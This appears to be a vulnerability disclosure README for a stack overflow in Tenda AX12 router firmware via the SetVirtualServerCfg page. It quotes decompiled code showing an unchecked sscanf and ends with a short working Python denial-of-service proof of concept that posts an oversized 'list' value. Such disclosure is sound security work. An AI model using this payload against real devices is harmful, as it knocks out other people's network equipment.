sec-bin Update poc ... on Feb 9 History

..	
image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetVirtualServerCfg` page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_42DE00` function.

First, this function calls the `sub_42DB88` function.

```
5   v3[0] = 0;
6   v3[1] = 0;
7   v3[2] = 0;
8   v3[3] = 0;
9   blob_buf_init((int)v3, 0);
10  sub_42DB88((int)a1, (int)v3);
11  tapi_set_virtualsrv(v3[0]);
12  blob_buf_free(v3);
13  sub_415368((int)a1, (int)"HTTP/1.0 200 OK\r\n\r\n");
14  sub_415368((int)a1, (int)"{\"errCode\":%d}");
15  http_request(a1, 200);
```

In the `sub_42DB88` function:

```
19  v10[0] = 0;
20  v10[1] = 0;
21  v11[0] = 0;
22  v11[1] = 0;
23  v3 = WebGetVar(a1, (int)"list", "");
24  printf("get_route_info_wp list:%s\n", v3);
25  if ( (unsigned int)strlen(v3) < 5 )
26    return -1;
27  while ( 1 )
28  {
29    v4 = (_BYTE *)strchr(v3, '~');
30    v5 = v4 + 1;
31    if ( !v4 )
32      break;
33    *v4 = 0;
34    if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v12, v11, v10, v9) == 4 )
35    {
36      v8 = blob_nest_start(a2, 0);
37      printf(
38        "get_virtual_srv_wp net:%s dport:%s sport:%s proto:%s \n",
39        (const char *)v12,
40        (const char *)v11,
```

The `v3` variable is obtained directly from the http request parameter `list` .

Then `v3` will be splice to stack by function `sscanf` without any security check, which causes stack overflow.

So by POSTing the page `/goform/SetVirtualServerCfg` with long `list` , the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
import requests

url = "http://192.168.0.1/goform/SetVirtualServerCfg"
list_data = 'a'*0x1000 + '~'

r = requests.post(url, data={'list': list_data})
print(r.content)
```